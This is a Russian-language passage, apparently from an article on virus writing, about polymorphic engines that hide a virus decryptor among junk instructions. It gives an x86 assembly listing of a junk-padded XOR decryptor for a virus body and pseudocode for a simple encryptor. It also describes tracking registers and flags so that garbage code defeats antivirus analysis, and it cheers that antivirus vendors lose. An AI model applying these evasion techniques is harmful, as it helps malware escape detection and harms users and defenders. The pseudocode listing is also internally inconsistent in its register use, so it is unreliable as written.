Ступень 4: еще более мусорный
Идея: усложнить генерацию мусорных инструкций, сделав ее менее очевидной. Например, если мы видим: MOV EAX,EBX, то перед этим в EAX можно писать все, что угодно. Все равно он будет заново проинициализирован.
Более сложная задача: отслеживать обращения к регистрам, выявлять неиспользуемые регистры (как локально, так и глобально), и пихать в них всякую глупость. Для этого нужен не только дизассемблер длин, но и полноценный дизассемблер команд, определяющий, что это именно MOV EAX,EBX, а не что-то другое. Причем, необходимо специальным образом обрабатывать флаги — встретив команду, зависимую от флагов (например, Jxx), необходимо найти ближайшую к ней инструкцию, воздействующую на этот флаг и между ними вставлять только тот "мусор", который не оказывает на флаги никакого влияния. Разумеется, это сложно. Очень сложно. Зато такой эффект!
MOV ESI, EAX
SUB ESI, ECX
XCHG EDX, EBP
LEA EBX, [ESI+EDI]
ROR AL,8
MOV ESI, offset body_begin
XOR ECX, ECX
SUB EDI, EAX
ADD EBP, ESI
NOT EDI
MOV EDI, ESI
MOV ECX, offset body_end - body_begin
CALL $+5
SUB EAX, ECX
NOT EBP
POP EBX
XOR EAX, EAX
PUSH EBX
SUB EBP,ECX
LODSB
MOV EAX, EAX
ADD EDX, ESI
XCHG EBX, EBX
XOR AL, 66h
XOR EDX, EDX
ADD EAX, EDX
STOSB
MOV EBP, EAX
DEC ECX
XCHG EBX,EBX
MOV EBP,ESI
JNZ $+4
JMP EBX
body_begin:
; // тело вируса со всеми остальными шифровщиками
body_end:
Листинг 10 расшифровщик, замусоренный значащими командами
Антивирусу, чтобы распознать этот код потребуется реализовать сложную систему графов, анализирующих зависимости по данным и отбрасывающих инструкции, замыкающие граф. Например, MOV EAX, EBX --> ADD EAX, ECX –> MOV EAX, ECX.
Последняя команда перекрывает результат деятельности первых двух, выдавая их галимую мусорную природу. Реализовать полиморфный генератор четвертого уровня намного проще чем разработать "лекарство", так что антивирусники тут находятся в проигрыше.
Кстати говоря, без дизассемблера можно в принципе и обойтись, воспользовавшись псевдокодом. В этом случае код шифровщика будет выглядеть так:
MOV $R1, offset body_begin
MOV $R3, offset body_end - body_begin
MOV $R3, $IP
XOR [$R1], 66h
ADD $R1, 1
SUB $R2, 1
JNZ $R3
Листинг 11 псеводокод простейшего шифровщика
Тогда наша задача сведется к написанию кодогенератора для x86, что намного проще. Наш псведокод может быть построен по самым демократичным принципам и иметь фиксированные длины инструкций. В псевдокоде допустимо напрямую адресовать регистр EIP, переложив заботу на кодогенератор, который, кстати говоря, можно выдрать из любого Open Source компилятора. Это тем более замечательно, что кодогенератор имеет множество различных опций, порождающих различный код (например, код для 8088 и 386 процессоров). Антивирусы идут в глухой отруб!